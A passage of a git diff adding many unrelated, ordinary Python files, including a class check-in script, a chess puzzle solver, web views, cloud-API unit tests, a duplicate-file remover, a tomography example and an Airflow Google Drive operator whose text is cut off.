break + else: + break + + if found == True: + print "Welcome %s! Which class are you attending today?" % (student) + print "1 for BJJ, 2 for Capoeira, 3 for Samba, 4 for Muay Thai" + session = raw_input() + if session == "1": + session = "Brazilian Jiu-Jitsu" + elif session == "2": + session = "Capoeira" + elif session == "3": + session = "Samba" + elif session == "4": + session = "Muay Thai" + print "Thank you for checking in. Enjoy your %s class." % (session) + time.sleep(3) + outfile = open("output.csv", "a") + outfile.write(time.strftime("%x") + "," + time.strftime("%X") + "," + id + "," + student + "," + session + "\n") + outfile.close() + os.system('clear') + + elif found == False: + print "Could not fine %s in student database. Please check number and scan again." % (student_number) + time.sleep(2) + diff --git a/pool/shard008/Python/0078661_bishopAndPawn.py b/pool/shard008/Python/0078661_bishopAndPawn.py new file mode 100644 index 0000000000000000000000000000000000000000..74e6a03b24cc2a61af55107d25d4e7c0311e3e70 --- /dev/null +++ b/pool/shard008/Python/0078661_bishopAndPawn.py @@ -0,0 +1,40 @@ +#!/usr/local/bin/python +# Code Fights Bishop and Pawn Problem + + +def bishopAndPawn(bishop, pawn): + epsilon = 0.001 + dist = ((ord(bishop[0]) - ord(pawn[0]))**2 + + (int(bishop[1]) - int(pawn[1]))**2)**(0.5) + dist = dist / (2**0.5) # distance is a multiple of sqrt(2) + return (round(dist) - dist < epsilon and bishop[0] != pawn[0] and + bishop[1] != pawn[1]) + + +def main(): + tests = [ + ["a1", "c3", True], + ["h1", "h3", False], + ["a5", "c3", True], + ["g1", "f3", False], + ["e7", "d6", True], + ["e7", "a3", True], + ["e3", "a7", True], + ["a1", "h8", True], + ["a1", "h7", False], + ["h1", "a8", True] + ] + + for t in tests: + res = bishopAndPawn(t[0], t[1]) + ans = t[2] + if ans == res: + print("PASSED: bishopAndPawn({}, {}) returned {}" + .format(t[0], t[1], res)) + else: + print(("FAILED: bishopAndPawn({}, {}) returned {}," + "answer: {}").format(t[0], t[1], res, ans)) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078663_region_python.py b/pool/shard008/Python/0078663_region_python.py new file mode 100644 index 0000000000000000000000000000000000000000..3bab53892607cae9338aa7742954cdb5ebe68eab --- /dev/null +++ b/pool/shard008/Python/0078663_region_python.py @@ -0,0 +1,69 @@ +# pylint: disable=invalid-name, line-too-long, unused-variable, too-many-locals +"""Region in python""" +import numpy as np + +def entry_index(batch, w, h, outputs, classes, coords, location, entry): + n = int(location/(w*h)) + loc = location%(w*h) + return batch*outputs + n*w*h*(coords+classes+1) + entry*w*h + loc + +def region_python(a_np, N, classes, coords, background, softmax): + """Region operator + Parameters + ---------- + a_np : numpy.ndarray + 4-D with shape [batch, in_channel, in_height, in_width] + + N : int + Darknet layer parameter n + + classes : int + Darknet layer parameter classes + + coords : int + Darknet layer parameter coords + + background : int + Darknet layer parameter background + + softmax : int + Darknet layer parameter softmax + + Returns + ------- + b_np : np.ndarray + 4-D with shape [batch, out_channel, out_height, out_width] + """ + + batch, in_channel, in_height, in_width = a_np.shape + a_np_temp = np.reshape(a_np, batch*in_channel*in_height*in_width) + outputs = batch*in_channel*in_height*in_width + b_np = np.zeros(batch*in_channel*in_height*in_width) + for i in range(batch*in_channel*in_height*in_width): + b_np[i] = a_np_temp[i] + for b in range(batch): + for n in range(N): + index = entry_index(b, in_width, in_height, outputs, classes, coords, n*in_width*in_height, 0) + b_np[index: index+2*in_width*in_height] = 1/(1+np.exp(-1*b_np[index: index+2*in_width*in_height])) + index = entry_index(b, in_width, in_height, outputs, classes, coords, n*in_width*in_height, coords) + if not background: + b_np[index: index+in_width*in_height] = 1/(1+np.exp(-1*b_np[index: index+in_width*in_height])) + + b_np = np.reshape(b_np, (batch, in_channel, in_height, in_width)) + def local_softmax(data_in): + data_c, data_h, data_w = data_in.shape + largest = np.max(data_in, axis=1) + data_out = np.zeros((data_c, data_h, data_w)) + for i in range(data_h): + for j in range(data_w): + data_out[:, i, j] = np.exp(data_in[:, i, j] - largest[i, j]) + return data_out/data_out.sum(axis=0) + + if softmax: + index = coords + int(not background) + for b in range(batch): + for i in range(N): + b_np_index = int(i*(in_channel/N) + index) + b_np[b, b_np_index: b_np_index + classes+background, :, :] = local_softmax(b_np[b, b_np_index:b_np_index + classes+background, :, :]) + + return b_np diff --git a/pool/shard008/Python/0078664_server_shoppingcart_views.py b/pool/shard008/Python/0078664_server_shoppingcart_views.py new file mode 100644 index 0000000000000000000000000000000000000000..76976b90e68b8bccfd502a92b0f7ab329bbda4d9 --- /dev/null +++ b/pool/shard008/Python/0078664_server_shoppingcart_views.py @@ -0,0 +1,44 @@ +class ShoppingCartIndexView(FormView): + [...] + + @transaction.commit_manually + def process_formset(self, formset): + commit = True + user=self.request.user + pid_list = self.request.session.get('cart') + if not pid_list: + return False + product_list = Product.objects.filter(id__in=pid_list) + + for form in formset: + start_date=form.cleaned_data.get('start_date') + end_date=form.cleaned_data.get('end_date') + if not (start_date and end_date): + continue + + try: + reservation = Reservation(user=user, start_date=start_date, + end_date=end_date) + reservation.clean() + reservation.save() + for product in product_list: + collision = ReservationEntry.objects.filter( + product=product, reservation__state=1).exclude( + reservation__end_date__lt=start_date).exclude( + reservation__start_date__gt=end_date).count() + if collision > 0: + raise ValidationError( + _("There is already a reservation for %s " + "product in this timeframe.") % product) + e = ReservationEntry(reservation=reservation, + product=product) + e.save() + except ValidationError, e: + form.invalidate_form(e.messages) + commit = False + if commit: + transaction.commit() + del self.request.session['cart'] + else: + transaction.rollback() + return commit diff --git a/pool/shard008/Python/0078670_test_manila.py b/pool/shard008/Python/0078670_test_manila.py new file mode 100644 index 0000000000000000000000000000000000000000..573daa29156668559ba1fa06f8c18cc1def3b1c2 --- /dev/null +++ b/pool/shard008/Python/0078670_test_manila.py @@ -0,0 +1,90 @@ +# Copyright (c) 2015 Mirantis, Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import ddt + +from manila_ui.api import manila as api +from manila_ui.test import helpers as base + + +@ddt.ddt +class ManilaApiTests(base.APITestCase): + + def setUp(self): + super(self.__class__, self).setUp() + self.id = "fake_id" + + def test_share_extend(self): + new_size = "123" + + api.share_extend(self.request, self.id, new_size) + + self.manilaclient.shares.extend.assert_called_once_with( + self.id, new_size + ) + + @ddt.data(True, False) + def test_share_type_create_with_default_values(self, dhss): + name = 'fake_share_type_name' + + api.share_type_create(self.request, name, dhss) + + self.manilaclient.share_types.create.assert_called_once_with( + name=name, + spec_driver_handles_share_servers=dhss, + spec_snapshot_support=True, + is_public=True) + + @ddt.data( + (True, True, True), + (True, True, False), + (True, False, True), + (False, True, True), + (True, False, False), + (False, False, True), + (False, True, False), + (True, True, True), + ) + @ddt.unpack + def test_share_type_create_with_custom_values( + self, dhss, snapshot_support, is_public): + name = 'fake_share_type_name' + + api.share_type_create( + self.request, name, dhss, snapshot_support, is_public) + + self.manilaclient.share_types.create.assert_called_once_with( + name=name, + spec_driver_handles_share_servers=dhss, + spec_snapshot_support=snapshot_support, + is_public=is_public) + + def test_share_type_set_extra_specs(self): + data = {"foo": "bar"} + + api.share_type_set_extra_specs(self.request, self.id, data) + + share_types_get = self.manilaclient.share_types.get + share_types_get.assert_called_once_with(self.id) + share_types_get.return_value.set_keys.assert_called_once_with(data) + + def test_share_type_unset_extra_specs(self): + keys = ["foo", "bar"] + + api.share_type_unset_extra_specs(self.request, self.id, keys) + + share_types_get = self.manilaclient.share_types.get + share_types_get.assert_called_once_with(self.id) + share_types_get.return_value.unset_keys.assert_called_once_with(keys) diff --git a/pool/shard008/Python/0078676_deldupl.py b/pool/shard008/Python/0078676_deldupl.py new file mode 100644 index 0000000000000000000000000000000000000000..fcdf823138d97f86d74ca80cdab9844bd0d046bb --- /dev/null +++ b/pool/shard008/Python/0078676_deldupl.py @@ -0,0 +1,102 @@ +#!/usr/bin/python + +"""A tool for deleting duplicate copies of files. + +This tool does a full comparison for all files with matching +filenames. If you are looking for a tool that finds duplicates +irrespective of filename, try fdupes. +""" + +import os, sys + +blocksize = 16384 + + +class FileRegistry(object): + """A registry of files, keyed by filename (not full path).""" + + def __init__(self): + self._files = {} + self._delete_list = [] + + def add(self, filepath): + """Add a file to the registry.""" + if os.path.isfile(filepath): + path, filename = os.path.split(filepath) + self._files.setdefault(filename, []).append(filepath) + print 'Scan: %s' % os.path.join(filepath) + + def _do_add(self, arg, d, files): + """A function for os.path.walk for adding files to the registry.""" + for i in files: + self.add(os.path.join(d, i)) + + def add_tree(self, dirpath): + """Recursively add all files in a tree.""" + os.path.walk(dirpath, self._do_add, None) + + def is_duplicate(self, candidate): + """Check if a candidate is a duplicate of a file in the registry. + + Only regular files are ever considered duplicates. + """ + if not os.path.isfile(candidate): + return False + path, filename = os.path.split(candidate) + if not filename in self._files: + return False + for keeper in self._files[filename]: + if keeper == candidate: + print 'Confused between keep and del paths!' + continue + print 'Comparing %s (keeper) and %s:' % (keeper, candidate), + with open(keeper) as f1: + with open(candidate) as f2: + while True: + d1 = f1.read(blocksize) + d2 = f2.read(blocksize) + if d1 != d2: + print 'No match.' + break + elif d1 == '' and d2 == '': + print 'MATCH!' + return True + + def _do_get_prune_candidates(self, deletion_candidates, d, files): + """A function for os.path.walk for collecting files to prune.""" + for i in files: + candidate = os.path.join(d, i) + if self.is_duplicate(candidate): + deletion_candidates.append(candidate) + + def get_prune_candidates(self, dirpath): + """Find files in a tree that are duplicates of registered files.""" + deletion_candidates = [] + os.path.walk(dirpath, self._do_get_prune_candidates, + deletion_candidates) + return deletion_candidates + + +if __name__ == '__main__': + if len(sys.argv) != 3: + print '''\ + %s + + %s deletes all files in del_dir that are the same as in keep_dir. + ''' % ((sys.argv[0],)*2) + sys.exit(1) + + keep_dir = sys.argv[1] + del_dir = sys.argv[2] + + keep_reg = FileRegistry() + keep_reg.add_tree(keep_dir) + deletion_candidates = keep_reg.get_prune_candidates(del_dir) + + print 'Will now delete:' + for i in sorted(deletion_candidates): + print i + if raw_input('Continue? [y/n]') == 'y': + for i in deletion_candidates: + os.unlink(i) + print 'DELETED.' diff --git a/pool/shard008/Python/0078677_test_container_service.py b/pool/shard008/Python/0078677_test_container_service.py new file mode 100644 index 0000000000000000000000000000000000000000..c809b599e5d49fe0aa13eee03f2f3af2cf8eb6a0 --- /dev/null +++ b/pool/shard008/Python/0078677_test_container_service.py @@ -0,0 +1,160 @@ +# Copyright (c) 2015-2020 Cloudify Platform Ltd. All rights reserved +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import mock +import unittest +import requests + +from msrestazure.azure_exceptions import CloudError + +from cloudify import mocks as cfy_mocks + +from cloudify_azure.resources.compute import container_service +from cloudify_azure.utils import handle_resource_config_params + + +@mock.patch('azure_sdk.common.ServicePrincipalCredentials') +@mock.patch('azure_sdk.resources.compute.' + 'container_service.ContainerServiceClient') +class ContainerServiceTest(unittest.TestCase): + + def _get_mock_context_for_run(self): + operation = {'name': 'cloudify.interfaces.lifecycle.create'} + fake_ctx = cfy_mocks.MockCloudifyContext(operation=operation) + instance = mock.Mock() + instance.runtime_properties = {} + fake_ctx._instance = instance + node = mock.Mock() + fake_ctx._node = node + node.properties = {} + node.runtime_properties = {} + node.type_hierarchy = ['ctx.nodes.Root'] + fake_ctx.get_resource = mock.MagicMock( + return_value="" + ) + return fake_ctx, node, instance + + def setUp(self): + self.fake_ctx, self.node, self.instance = \ + self._get_mock_context_for_run() + self.dummy_azure_credentials = { + 'client_id': 'dummy', + 'client_secret': 'dummy', + 'subscription_id': 'dummy', + 'tenant_id': 'dummy' + } + + def test_create(self, client, credentials): + self.node.properties['azure_config'] = self.dummy_azure_credentials + resource_group = 'sample_resource_group' + name = 'cs_name' + container_service_config = { + 'network_profile': None, + 'addon_profiles': None, + 'kubernetes_version': None, + 'dns_prefix': 'dummy-dns', + 'linux_profile': None, + 'agent_pool_profiles': None, + 'service_principal_profile': None, + 'location': 'westus', + 'enable_rbac': True, + 'tags': None + } + service_payload = {} + service_payload = \ + handle_resource_config_params(service_payload, + container_service_config) + response = requests.Response() + response.status_code = 404 + message = 'resource not found' + client().container_services.get.side_effect = \ + CloudError(response, message) + with mock.patch('cloudify_azure.utils.secure_logging_content', + mock.Mock()): + container_service.create(self.fake_ctx, resource_group, name, + container_service_config) + client().container_services.get.assert_called_with( + resource_group_name=resource_group, + container_service_name=name + ) + client().container_services.create_or_update.assert_called_with( + resource_group_name=resource_group, + container_service_name=name, + parameters=service_payload + ) + self.assertEquals( + self.fake_ctx.instance.runtime_properties.get("name"), + name + ) + self.assertEquals( + self.fake_ctx.instance.runtime_properties.get( + "resource_group"), + resource_group + ) + + def test_create_already_exists(self, client, credentials): + self.node.properties['azure_config'] = self.dummy_azure_credentials + resource_group = 'sample_resource_group' + name = 'cs_name' + container_service_config = { + 'network_profile': None, + 'addon_profiles': None, + 'kubernetes_version': None, + 'dns_prefix': 'dummy-dns', + 'linux_profile': None, + 'agent_pool_profiles': None, + 'service_principal_profile': None, + 'location': 'westus', + 'enable_rbac': True, + 'tags': None + } + client().container_services.get.return_value = mock.Mock() + with mock.patch('cloudify_azure.utils.secure_logging_content', + mock.Mock()): + container_service.create(self.fake_ctx, resource_group, name, + container_service_config) + client().container_services.get.assert_called_with( + resource_group_name=resource_group, + container_service_name=name + ) + client().container_services.create_or_update.assert_not_called() + + def test_delete(self, client, credentials): + self.node.properties['azure_config'] = self.dummy_azure_credentials + resource_group = 'sample_resource_group' + name = 'cs_name' + self.instance.runtime_properties['resource_group'] = resource_group + self.instance.runtime_properties['name'] = name + with mock.patch('cloudify_azure.utils.secure_logging_content', + mock.Mock()): + container_service.delete(self.fake_ctx) + client().container_services.delete.assert_called_with( + resource_group_name=resource_group, + container_service_name=name + ) + + def test_delete_do_not_exist(self, client, credentials): + self.node.properties['azure_config'] = self.dummy_azure_credentials + resource_group = 'sample_resource_group' + name = 'cs_name' + self.instance.runtime_properties['resource_group'] = resource_group + self.instance.runtime_properties['name'] = name + response = requests.Response() + response.status_code = 404 + message = 'resource not found' + client().container_services.get.side_effect = \ + CloudError(response, message) + with mock.patch('cloudify_azure.utils.secure_logging_content', + mock.Mock()): + container_service.delete(self.fake_ctx) + client().container_services.delete.assert_not_called() diff --git a/pool/shard008/Python/0078680_sample1_normalized_selection.py b/pool/shard008/Python/0078680_sample1_normalized_selection.py new file mode 100644 index 0000000000000000000000000000000000000000..da19fd10f41e500708f7f47d420e87389db5103e --- /dev/null +++ b/pool/shard008/Python/0078680_sample1_normalized_selection.py @@ -0,0 +1,22 @@ +def square(x): + return x**2 + +print('hello') +# Sample block 2 + +a = 2 +if a < 2: + print('less than 2') +else: + print('more than 2') + +print('hello') +# Sample block 3 + +for i in range(5): + print(i) + print(i) + print(i) + print(i) + +print('complete') diff --git a/pool/shard008/Python/0078681_groups.py b/pool/shard008/Python/0078681_groups.py new file mode 100644 index 0000000000000000000000000000000000000000..4b2bd286df3f2b53448b50cd141f08c452941e5c --- /dev/null +++ b/pool/shard008/Python/0078681_groups.py @@ -0,0 +1,115 @@ +from __future__ import unicode_literals + +from flask import render_template, request, redirect, flash +from flask_login import current_user +from flask_classy import route + +from core.web.frontend.generic import GenericView +from core.user import User +from core.group import Group +from core.web.helpers import get_object_or_404 # requires_role + + +class GroupView(GenericView): + + klass = Group + + @route("/profile", methods=["GET", "POST"]) + def profile(self): + if request.args.get("id"): + gid = request.args.get("id") + group = get_object_or_404(Group, id=gid) + if current_user.has_role("admin") or Group.objects( + admins__in=[current_user.id], id=gid, enabled=True + ): + return render_template( + "group/profile.html", + group=group, + users=User.objects.all(), + ) + + flash("Group not specified", "dangeros") + return redirect(request.referrer) + + +class GroupAdminView(GenericView): + klass = Group + + @route("/usertogroup", methods=["GET", "POST"]) + def usertogroup(self): + gid = request.form.get("gid") + uid = request.form.get("uid") + user = get_object_or_404(User, id=uid) + group = get_object_or_404(Group, id=gid) + if ( + user + and current_user.has_role("admin") + or Group.objects(admins__in=[current_user.id], id=gid, enabled=True) + ): + group.update(add_to_set__members=user.id) + flash( + "Added user: {} to group: {}".format(user.username, group.groupname), + "success", + ) + return redirect(request.referrer) + + @route("/delfromgroup", methods=["GET", "POST"]) + def delfromgroup(self): + gid = request.args.get("gid") + uid = request.args.get("uid") + user = get_object_or_404(User, id=uid) + group = get_object_or_404(Group, id=gid) + # ToDo reload page + if ( + group + and current_user.has_role("admin") + or Group.objects(admins__in=[current_user.id], id=gid, enabled=True) + ): + group.update(pull__members=user.id) + flash( + "User: {} deleted from group: {}".format( + user.username, group.groupname + ), + "success", + ) + return redirect(request.referrer) + + @route("/usertoadmin", methods=["GET", "POST"]) + def usertoadmin(self): + gid = request.args.get("gid") + uid = request.args.get("uid") + user = get_object_or_404(User, id=uid) + if ( + user + and current_user.has_role("admin") + or Group.objects(admins__in=[current_user.id], id=gid, enabled=True) + ): + # ToDo reload page + group = get_object_or_404(Group, id=gid) + group.update(add_to_set__admins=user.id) + flash( + "Added user: {} to group: {}".format(user.username, group.groupname), + "success", + ) + return redirect(request.referrer) + + @route("/deladmin", methods=["GET", "POST"]) + def deladmin(self): + gid = request.args.get("gid") + uid = request.args.get("uid") + user = get_object_or_404(User, id=uid) + group = get_object_or_404(Group, id=gid) + if ( + group + and current_user.has_role("admin") + or Group.objects(admins__in=[current_user.id], id=gid, enabled=True) + ): + # ToDo reload page + group.update(pull__admins=user.id) + flash( + "User: {} deleted from admins: {}".format( + user.username, group.groupname + ), + "success", + ) + return redirect(request.referrer) diff --git a/pool/shard008/Python/0078690_ray_trafo_cone_2d.py b/pool/shard008/Python/0078690_ray_trafo_cone_2d.py new file mode 100644 index 0000000000000000000000000000000000000000..f10166fa8284973b8ebe4b48b75cad54e98994bb --- /dev/null +++ b/pool/shard008/Python/0078690_ray_trafo_cone_2d.py @@ -0,0 +1,35 @@ +"""Example using the ray transform with fan beam geometry.""" + +import numpy as np +import odl + +# Reconstruction space: discretized functions on the rectangle +# [-20, 20]^2 with 300 samples per dimension. +reco_space = odl.uniform_discr( + min_pt=[-20, -20], max_pt=[20, 20], shape=[300, 300], dtype='float32') + +# Make a fan beam geometry with flat detector +# Angles: uniformly spaced, n = 360, min = 0, max = 2 * pi +angle_partition = odl.uniform_partition(0, 2 * np.pi, 360) +# Detector: uniformly sampled, n = 512, min = -30, max = 30 +detector_partition = odl.uniform_partition(-30, 30, 512) +geometry = odl.tomo.FanFlatGeometry(angle_partition, detector_partition, + src_radius=1000, det_radius=100) + +# Ray transform (= forward projection). +ray_trafo = odl.tomo.RayTransform(reco_space, geometry) + +# Create a discrete Shepp-Logan phantom (modified version) +phantom = odl.phantom.shepp_logan(reco_space, modified=True) + +# Create projection data by calling the ray transform on the phantom +proj_data = ray_trafo(phantom) + +# Back-projection can be done by simply calling the adjoint operator on the +# projection data (or any element in the projection space). +backproj = ray_trafo.adjoint(proj_data) + +# Shows a slice of the phantom, projections, and reconstruction +phantom.show(title='Phantom') +proj_data.show(title='Projection data (sinogram)') +backproj.show(title='Back-projected data', force_show=True) diff --git a/pool/shard008/Python/0078697_figures.py b/pool/shard008/Python/0078697_figures.py new file mode 100644 index 0000000000000000000000000000000000000000..78a1c9c8c2e0ac7d22245cc07be4b1ad7417f780 --- /dev/null +++ b/pool/shard008/Python/0078697_figures.py @@ -0,0 +1,56 @@ +from extraction.runnables import Extractor, RunnableError, ExtractorResult +import extraction.utils +import csxextract.config as config +import csxextract.interfaces as interfaces +import csxextract.filters as filters +import csxextract.utils as utils +import defusedxml.ElementTree as safeET +import xml.etree.ElementTree as ET +import subprocess32 as subprocess +import requests +import os +import shutil +import glob +import re +import tempfile + +class PDFFiguresExtractor(Extractor): + dependencies = frozenset([filters.AcademicPaperFilter]) + result_file_name = '.figures' + + def extract(self, data, dependency_results): + results_dir = tempfile.mkdtemp() + '/' + temp_pdf_file = extraction.utils.temp_file(data) + + try: + command_args = [config.PDFFIGURES_PATH, '-o', results_dir, '-j', results_dir, temp_pdf_file] + status, stdout, stderr = extraction.utils.external_process(command_args, timeout=20) + except subprocess.TimeoutExpired: + shutil.rmtree(results_dir) + raise RunnableError('PDFFigures timed out while processing document') + finally: + os.remove(temp_pdf_file) + + if status != 0: + raise RunnableError('PDFFigures Failure. Possible error:\n' + stderr) + + # Handle png results + files = {} + for path in glob.glob(results_dir + '*.png'): + # basename looks something like this: -Figure-X.png + # remove the hyphen and replace with a '.', because framework will add filename prefix later + filename = '.' + os.path.basename(path)[1:] + with open(path, 'rb') as f: + files[filename] = f.read() + + # Handle json results + for path in glob.glob(results_dir + '*.json'): + filename = '.' + os.path.basename(path)[1:] + with open(path, 'r') as f: + files[filename] = f.read() + + shutil.rmtree(results_dir) + + return ExtractorResult(xml_result=None, files=files) + + diff --git a/pool/shard008/Python/0078698_views.py b/pool/shard008/Python/0078698_views.py new file mode 100644 index 0000000000000000000000000000000000000000..21b21ce9fe5d1272989bfc6e398638d3d7d2aee8 --- /dev/null +++ b/pool/shard008/Python/0078698_views.py @@ -0,0 +1,36 @@ +from django.forms import ModelForm +from django.shortcuts import redirect, get_object_or_404 + +from SyncAlot.models import ProductUrl + + +class ProductUrlForm(ModelForm): + class Meta: + model = ProductUrl + fields = ['url', 'product_code'] + + +def product_url_create(request): + post_values = request.POST.copy() + form = ProductUrlForm(post_values) + if form.is_valid(): + form.save() + return redirect('/products') + return redirect('/products', message=form.errors) + + +def product_url_update(request, pk): + product = get_object_or_404(ProductUrl, pk=pk) + form = ProductUrlForm(request.POST or None, instance=product) + if form.is_valid(): + form.save() + return redirect('/products') + return redirect('/products') + + +def product_url_delete(request, pk): + product = get_object_or_404(ProductUrl, pk=pk) + if request.method == 'POST': + product.delete() + return redirect('/products') + return redirect('/products') diff --git a/pool/shard008/Python/0078699_PythonMetaClass.py b/pool/shard008/Python/0078699_PythonMetaClass.py new file mode 100644 index 0000000000000000000000000000000000000000..0da8a5dad17757f541840342d2852416532d408d --- /dev/null +++ b/pool/shard008/Python/0078699_PythonMetaClass.py @@ -0,0 +1,74 @@ +class ListMetaclass(type): + def __new__(cls, name, bases, attrs): + attrs['add'] = lambda self, value: self.append(value) + return type.__new__(cls, name, bases, attrs) + + +class MyList(list, metaclass=ListMetaclass): + pass + + +# 创建 ORM 框架 +class Field(object): + def __init__(self, name, column_type): + self.name = name + self.column_type = column_type + + def __str__(self): + return '<%s:%s>' % (self.__class__.__name__, self.name) + + +class StringField(Field): + def __init__(self, name): + super(StringField, self).__init__(name, 'varchar(100') + + +class IntegerField(Field): + def __init__(self, name): + super(IntegerField, self).__init__(name, 'bigint') + + +# ModelMetaclass +class ModelMetaclass(type): + def __new__(cls, name, bases, attrs): + if name == 'Model': + return type.__new__(cls, name, bases, attrs) + print('Found model: %s' % name) + mappings = dict() + for k, v in attrs.items(): + if isinstance(v, Field): + print('Found mapping: %s ==> %s' % (k, v)) + mappings[k] = v + for k in mappings.keys(): + attrs.pop(k) + attrs['__mappings__'] = mappings + attrs['__table__'] = name # 假设表名和类名一致 + return type.__new__(cls, name, bases, attrs) + + +try: + num = int('1') +except: + print('bad') +else: + print(int('2')) + + +while True: + reply = input('Enter text:') + if reply == 'stop': + break + elif not reply.isdigit(): + print('bad') + else: + num = int(reply) + if num < 20: + print('low') + else: + print(num ** 2) +print('bye') + + +def func1(): + ... +x = ... diff --git a/pool/shard008/Python/0078700_models.py b/pool/shard008/Python/0078700_models.py new file mode 100644 index 0000000000000000000000000000000000000000..9768bc097874c1416d61147992ac008551100094 --- /dev/null +++ b/pool/shard008/Python/0078700_models.py @@ -0,0 +1,118 @@ +# Copyright 2015 AirPlug Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +from server.data import db, CRUDMixin +from server.chartviewer.models import * + + +# class Dashboard(CRUDMixin, db.Model): +# __tablename__ = 'dashboard' +# +# id = db.Column(db.Integer, primary_key=True, autoincrement=True) +# title = db.Column(db.String) +# desc = db.Column(db.String) +# adminid = db.Column(db.Integer) +# refresh_intv = db.Column(db.Integer) +# +# def is_check_right(self, kwargs): +# a = db.session.query(self).filter_by(**kwargs).first() +# if a: +# return True +# else: +# return False +# +# def __repr__(self): +# return ''.format(self.id, self.title, self.desc, self.adminid) +# +# +# class DashboardItem(CRUDMixin, db.Model): +# __tablename__ = 'dashboard_item' +# +# id = db.Column(db.Integer, primary_key=True, autoincrement=True) +# title = db.Column(db.String) +# url = db.Column(db.String) +# refresh_intv = db.Column(db.Integer) +# dashboard_id = db.Column(db.Integer) +# +# def __repr__(self): +# return ''.format(self.id, self.title, self.url, self.refresh_intv, self.dashboard_id) + +class dbmenu(CRUDMixin, db.Model): + __tablename__ = 'dbmenu' + + menuid = db.Column(db.Integer, primary_key=True, autoincrement=True) + parentid = db.Column(db.Integer) + dspnm = db.Column(db.String) + url = db.Column(db.String) + leafyn = db.Column(db.String) + menutype = db.Column(db.String) + crtdt = db.Column(db.Integer) + crtid = db.Column(db.String) + + def __repr__(self): + return ''.format(self.menuid, self.parentid, self.dspnm, self.url, self.leafyn, self.menutype) + +class client(CRUDMixin, db.Model): + __tablename__ = 'client' + + id = db.Column(db.Integer, primary_key=True, autoincrement=True) + orgprefix = db.Column(db.String) + name = db.Column(db.String) + desc = db.Column(db.String) + crtdt = db.Column(db.Integer) + crtid = db.Column(db.String) + + def __repr__(self): + return ''.format(self.id, self.orgprefix, self.name, self.desc) + + +class dbmenu_client(CRUDMixin, db.Model): + __tablename__ = 'dbmenu_client' + + menuid = db.Column(db.Integer, primary_key=True, autoincrement=True) + clientid = db.Column(db.Integer, primary_key=True, autoincrement=True) + crtdt = db.Column(db.Integer) + crtid = db.Column(db.String) + + def __repr__(self): + return ''.format(self.menuid, self.clientid) + + +class dbmenu_admin(CRUDMixin, db.Model): + __tablename__ = 'dbmenu_admin' + + menuid = db.Column(db.Integer, primary_key=True, autoincrement=True) + adminid = db.Column(db.Integer, primary_key=True, autoincrement=True) + crtdt = db.Column(db.Integer) + crtid = db.Column(db.String) + + +def __list_menus_for_dashboard(user_id): + return query_to_list_json( db.session.query().from_statement( text( + """ + select concat('[', group_concat(a.m1), ']') as m1 from ( + select concat('{', a.m1, ', "subs":[', group_concat(if(m2 is NULL, NULL, if(m2!='', concat('{',m2,'}' ), ''))) , ']}') as m1 from ( + select + if(m1.menuid is not NULL, concat('"id":"',m1.menuid,'", "name":"',m1.dspnm,'","url":"',m1.url,'","icon":"',m1.icon,'"'),'') as m1, + if(m2.menuid is not NULL, concat('"id":"',m2.menuid,'", "name":"',m2.dspnm,'","url":"',m2.url,'","icon":"',m2.icon,'"'),'') as m2, + m1.ordr as ordr + from dbmenu as m1 + left join dbmenu as m2 on m2.parentid = m1.menuid + where m1.parentid = 0 + ) a group by a.m1 order by a.ordr + ) a + """ + ))) diff --git a/pool/shard008/Python/0078703_gdrive_to_local.py b/pool/shard008/Python/0078703_gdrive_to_local.py new file mode 100644 index 0000000000000000000000000000000000000000..113a389c6fbf22314e9345d4caac708ef5871c83 --- /dev/null +++ b/pool/shard008/Python/0078703_gdrive_to_local.py @@ -0,0 +1,93 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +from typing import Optional, Sequence, Union + +from airflow.models import BaseOperator +from airflow.providers.google.suite.hooks.drive import GoogleDriveHook + + +class GoogleDriveToLocalOperator(BaseOperator): + """ + Writes a Google Drive file into local Storage. + + .. seealso:: + For more information on how to use this operator, take a look at the guide: + :ref:`howto/operator:GoogleDriveToLocalOperator` + + :param output_file: Path to downloaded file + :type output_file: str + :param folder_id: The folder id of the folder in which the Google Drive file resides + :type folder_id: str + :param file_name: The name of the file residing in Google Drive + :type file_name: str + :param drive_id: Optional. The id of the shared Google Drive in which the file resides. + :type drive_id: str + :param delegate_to: The account to impersonate using domain-wide delegation of authority, + if any. For this to work, the service account making the request must have + domain-wide delegation enabled. + :type delegate_to: str + :param impersonation_chain: Optional service account to impersonate using short-term + credentials, or chained list of accounts required to get the access_token + of the last account in the list, which will be impersonated in the request. + If set as a string, the account must grant the originating account + the Service Account Token Creator IAM role. + If set as a sequence, the identities from the list must grant + Service Account Token Creator IAM role to the directly preceding identity, with first + account from the list granting this role to the originating account (templated). + :type impersonation_chain: Union[str, Sequence[str]] + """ + + template_fields = [ + "output_file", + "folder_id", + "file_name", + "drive_id", + "impersonation_chain", + ] + + def __init__( + self, + 